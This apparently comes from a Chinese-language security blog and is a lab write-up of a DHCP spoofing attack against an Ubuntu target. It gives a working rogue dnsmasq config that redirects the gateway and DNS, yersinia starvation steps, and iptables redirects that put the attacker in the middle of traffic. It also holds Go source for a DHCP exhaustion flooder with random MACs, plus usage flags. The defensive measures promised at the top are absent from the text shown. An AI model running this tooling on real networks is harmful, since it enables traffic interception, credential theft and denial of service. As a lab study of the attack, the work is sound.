← 返回主页
NOTE

DHCP 欺骗

整理 DHCP 欺骗原理、攻击影响、检测方式与网络侧防御。

1. 实验概述

1.1 实验目的

本实验旨在深入探究DHCP协议的安全机制缺陷,通过实践验证DHCP欺骗攻击的可行性和危害性,具体目标包括:

  1. 理解DHCP协议的工作原理及其安全漏洞
  2. 掌握DHCP耗尽攻击和服务器欺骗的攻击原理与技术实现
  3. 分析攻击成功后的潜在危害和后续攻击可能性
  4. 制定有效的防御策略和安全加固方案

1.2 实验原理

DHCP(动态主机配置协议)欺骗攻击主要利用以下两个协议层面的安全缺陷:

  1. 认证机制缺失:DHCP协议设计之初未集成身份认证机制,客户端无法验证DHCP服务器的真实性,无法区分合法服务器与恶意服务器。
  2. 客户端响应机制:DHCP客户端通常接受第一个收到的DHCP响应,攻击者可通过快速响应抢占合法服务器的响应机会。

攻击分为两个阶段

  • 第一阶段 - DHCP耗尽攻击:通过伪造大量DHCP请求包,耗尽合法DHCP服务器的IP地址池资源,使其无法为合法客户端提供服务。
  • 第二阶段 - 恶意服务器部署:在合法服务器瘫痪后,提供恶意网络配置,将网关和DNS服务器指向攻击者控制的主机。

2. 实验环境

2.1 网络拓扑架构

graph TD
    A[互联网] --> B[路由器/网关<br/>192.168.73.2<br/>合法DHCP服务器];
    B --> C[局域网<br/>192.168.73.0/24];
    C --> D[攻击者主机<br/>Kali Linux<br/>192.168.73.131<br/>恶意DHCP服务器];
    C --> E[靶机<br/>Ubuntu<br/>192.168.73.128];
    C --> F[其他网络设备];
    
    D -.->|DHCP耗尽攻击| B;
    D -.->|恶意DHCP响应| E;

2.2 实验设备配置

设备类型操作系统IP地址角色功能
攻击主机Kali Linux 2023.3192.168.73.131运行恶意DHCP服务器和实施耗尽攻击
靶机Ubuntu 22.04 LTSDHCP动态获取受害主机,网络配置被篡改
网络网关路由器固件192.168.73.2合法DHCP服务器和网络出口
网络环境VMware桥接模式192.168.73.0/24模拟局域网环境

3. 实验步骤与过程分析

3.1 信息收集与侦察阶段

3.1.1 网络扫描与DHCP服务器发现

使用nmap进行DHCP服务器扫描,识别网络中的合法DHCP服务:

# 扫描网段内的DHCP服务器
nmap -sU -p67 --script=dhcp-discover 192.168.73.0/24

DHCP服务器扫描结果

扫描结果分析:发现网络中存在的DHCP服务器(192.168.73.2),为后续攻击提供目标定位。

3.1.2 靶机基准配置检测

在攻击前记录靶机的正常网络配置,作为后续攻击效果的对比基准:

# 检查Ubuntu靶机的当前网络配置
resolvectl status

靶机初始网络配置

关键发现:确认靶机当前使用的DNS服务器为192.168.73.2(合法网关),网关地址相同。

3.2 恶意DHCP服务器部署

3.2.1 攻击工具安装与配置

选择dnsmasq作为恶意DHCP服务器软件,因其轻量级且配置灵活:

# 在Kali上安装dnsmasq
sudo apt-get install dnsmasq

编辑配置文件 /etc/dnsmasq.conf,关键配置如下:

# 网络接口配置
interface=eth0
listen-address=192.168.73.131
bind-interfaces

# IP地址分配范围(避免与现有IP冲突)
dhcp-range=192.168.73.100,192.168.73.150,255.255.255.0,12h

# 域名设置
domain=local

# 攻击核心配置:重定向网关和DNS
dhcp-option=3,192.168.73.131  # 网关指向攻击者
dhcp-option=6,192.168.73.131  # DNS服务器指向攻击者

3.2.2 恶意服务器启动与验证

# 以调试模式启动dnsmasq(便于观察DHCP交互过程)
sudo dnsmasq -C /etc/dnsmasq.conf -d

恶意DHCP服务器启动

服务验证:再次扫描确认恶意DHCP服务器已上线并运行正常:

nmap -sU -p67 --script=dhcp-discover 192.168.73.0/24

恶意DHCP服务器验证

技术要点:此时网络中存在两个DHCP服务器(合法服务器192.168.73.2和恶意服务器192.168.73.131),形成竞争关系。

3.3 DHCP耗尽攻击实施

为了使靶机优先使用恶意DHCP服务器,需要使合法DHCP服务器无法正常响应请求。使用yersinia工具实施DHCP耗尽攻击。

3.3.1 攻击工具编译与安装

由于yersinia在标准库中版本较旧,需要从源码编译:

# 移除可能存在的旧版本
sudo apt remove --auto-remove yersinia
sudo apt purge --auto-remove yersinia

# 安装编译依赖
sudo apt update
sudo apt install autoconf libgtk-3-dev libnet1-dev libgtk2.0-dev libpcap-dev git make gcc

# 克隆源代码并编译
sudo git clone https://github.com/tomac/yersinia /opt/yersinia
cd /opt/yersinia
sudo ./autogen.sh
sudo ./configure --enable-gtk
sudo make
sudo make install

:编译过程中可能需要根据错误信息调整代码(如sock类型转换问题)。

3.3.2 耗尽攻击执行

# 启动yersinia图形界面
sudo yersinia -G

攻击参数配置:

  1. 点击”Launch attack”按钮
  2. 选择”DHCP”协议
  3. 勾选”sending DISCOVER packet”选项
  4. 点击”OK”开始攻击

yersinia攻击界面

攻击原理:通过发送大量伪造源MAC地址的DHCP Discover包,耗尽合法DHCP服务器的IP地址资源,使其无法为合法客户端提供服务。

3.4 攻击触发与效果验证

3.4.1 强制靶机DHCP重申请

在合法DHCP服务器资源耗尽的情况下,强制靶机重新申请IP配置:

# 释放当前IP地址
sudo dhclient -r

# 重新请求IP配置
sudo dhclient

靶机IP释放与更新

3.4.2 攻击效果验证

检查靶机网络配置变化,确认攻击是否成功:

# 检查DNS服务器设置
resolvectl status

攻击后的网络配置

攻击成功指标:DNS服务器已从192.168.73.2(合法网关)变为192.168.73.131(攻击者主机),证明DHCP欺骗攻击成功。

3.4.3 恶意服务器交互分析

观察恶意DHCP服务器日志,分析完整的DHCP交互过程:

DHCP交互过程

交互流程

  1. DHCP Discover:客户端广播发现请求
  2. DHCP Offer:恶意服务器提供IP配置
  3. DHCP Request:客户端请求确认
  4. DHCP Ack:恶意服务器确认分配

3.5 攻击持久化与隐蔽性

为维持攻击效果并降低被发现概率,实施以下措施:

# 开启IP转发功能,使靶机网络流量正常通行
echo 1 > /proc/sys/net/ipv4/ip_forward

# 配置iptables规则,实现流量透明转发
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

技术要点:开启IP转发后,攻击机成为中间人,可以正常转发流量而不易被察觉,为后续的DNS欺骗或流量嗅探创造条件。

4. 手动构建DHCP耗尽攻击工具

为了深入理解攻击原理,用Go语言手动编写一个DHCP耗尽攻击工具,以下详细分析核心代码模块。

4.1 核心代码结构

4.1.1 配置参数结构

// AttackConfig 存储DHCP耗尽攻击的配置参数
type AttackConfig struct {
    Interface    string        // 网络接口名 (如 "eth0")
    Workers      int           // 并发工作协程数量
    PacketsPerSecond int       // 每个工作协程每秒发送的包数
    RandomSourceMAC bool       // 是否使用随机源MAC地址
    Timeout      time.Duration // 攻击超时时间
}

4.1.2 MAC地址生成函数

// generateRandomMAC 生成一个随机的MAC地址
func generateRandomMAC() (net.HardwareAddr, error) {
    buf := make([]byte, 6)
    _, err := rand.Read(buf)
    if err != nil {
        return nil, err
    }
    // 设置本地分配位和单播位 (IEEE 802)
    buf[0] |= 0x02 // 确保是本地管理的地址
    buf[0] &^= 0x01 // 确保是单播地址
    return net.HardwareAddr(buf), nil
}

代码解析

  • rand.Read(buf):使用密码学安全的随机数生成器填充6字节缓冲区
  • buf[0] |= 0x02:设置第二最低有效位为1,表示本地管理地址
  • buf[0] &^= 0x01:清除最低有效位为0,表示单播地址
  • 符合IEEE 802标准规定的MAC地址格式要求

4.1.3 DHCP数据包构造

// createDHCPDiscoverPacket 创建一个DHCP Discover数据包
func createDHCPDiscoverPacket(srcMAC net.HardwareAddr) ([]byte, error) {
    // 以太网层 - 广播
    ethernetLayer := &layers.Ethernet{
        SrcMAC:       srcMAC,
        DstMAC:       net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff},
        EthernetType: layers.EthernetTypeIPv4,
    }

    // IPv4层 - 源地址0.0.0.0,目的地址255.255.255.255
    ipLayer := &layers.IPv4{
        Version:  4,
        TTL:      64,
        SrcIP:    net.IPv4(0, 0, 0, 0),
        DstIP:    net.IPv4(255, 255, 255, 255),
        Protocol: layers.IPProtocolUDP,
    }

    // UDP层 - 客户端从68端口发送到服务器的67端口
    udpLayer := &layers.UDP{
        SrcPort: 68,
        DstPort: 67,
    }
    udpLayer.SetNetworkLayerForChecksum(ipLayer)

    // DHCPv4层
    bootpLayer := &layers.DHCPv4{
        Operation:    layers.DHCPOpRequest,
        HardwareType: layers.LinkTypeEthernet,
        HardwareLen:  6,
        Xid:          generateRandomXID(), // 随机事务ID
        ClientHWAddr: srcMAC,
    }

    // DHCP选项 - 消息类型为Discover
    discoverOpt := layers.NewDHCPOption(layers.DHCPOptMessageType, 
                     []byte{byte(layers.DHCPMsgTypeDiscover)})
    bootpLayer.Options = append(bootpLayer.Options, discoverOpt)

    // 序列化数据包
    buffer := gopacket.NewSerializeBuffer()
    opts := gopacket.SerializeOptions{
        FixLengths:       true,
        ComputeChecksums: true,
    }

    err := gopacket.SerializeLayers(buffer, opts,
        ethernetLayer, ipLayer, udpLayer, bootpLayer)
    if err != nil {
        return nil, err
    }
    return buffer.Bytes(), nil
}

4.1.4 攻击工作协程

// startAttackWorker 启动一个攻击工作协程
func startAttackWorker(ctx context.Context, handle *pcap.Handle, 
                       config *AttackConfig, workerID int) {
    ticker := time.NewTicker(time.Second / time.Duration(config.PacketsPerSecond))
    defer ticker.Stop()

    for {
        select {
        case <-ctx.Done():
            return
        case <-ticker.C:
            // 生成随机MAC地址
            srcMAC, err := generateRandomMAC()
            if err != nil {
                log.Printf("Worker %d: 生成随机MAC失败: %v", workerID, err)
                continue
            }
            
            // 创建DHCP Discover包
            packetData, err := createDHCPDiscoverPacket(srcMAC)
            if err != nil {
                log.Printf("Worker %d: 创建数据包失败: %v", workerID, err)
                continue
            }
            
            // 发送数据包
            err = sendDHCPDiscover(handle, packetData)
            if err != nil {
                log.Printf("Worker %d: 发送失败: %v", workerID, err)
            } else {
                log.Printf("Worker %d: 发送成功, MAC: %s", workerID, srcMAC.String())
            }
        }
    }
}

4.2 工具使用方式

# 编译工具
go build -o dhcp-exhaustion main.go packet.go sender.go config.go

# 使用示例
sudo ./dhcp-exhaustion -i eth0 -w 10 -pps 50 -r true -t 300

参数说明

  • -i eth0:指定网络接口
  • -w 10:使用10个工作协程
  • -pps 50:每个协程每秒发送50个包
  • -r true:使用随机MAC地址
  • -t 300:攻击持续300秒(5分钟)

5. 实验结果与分析

5.1 攻击效果评估

通过实验验证,DHCP欺骗攻击取得了以下效果:

  1. 网络配置篡改成功:靶机的DNS服务器设置被成功篡改为攻击者控制的IP地址
  2. 中间人位置获取:通过开启IP转发,攻击者成功获取了中间人位置
  3. 服务可用性维持:在实施攻击的同时,保持了网络服务的正常可用性,提高了攻击隐蔽性

5.2 潜在危害分析

成功实施DHCP欺骗攻击后,攻击者可以实现以下后续攻击:

  1. DNS欺骗攻击:通过控制DNS解析,将用户引导至钓鱼网站
  2. 会话劫持:拦截和篡改网络会话,获取敏感信息
  3. 服务拒绝:通过耗尽DHCP资源导致合法用户无法获取IP地址
  4. 信息窃取:嗅探网络流量,获取用户名、密码等敏感信息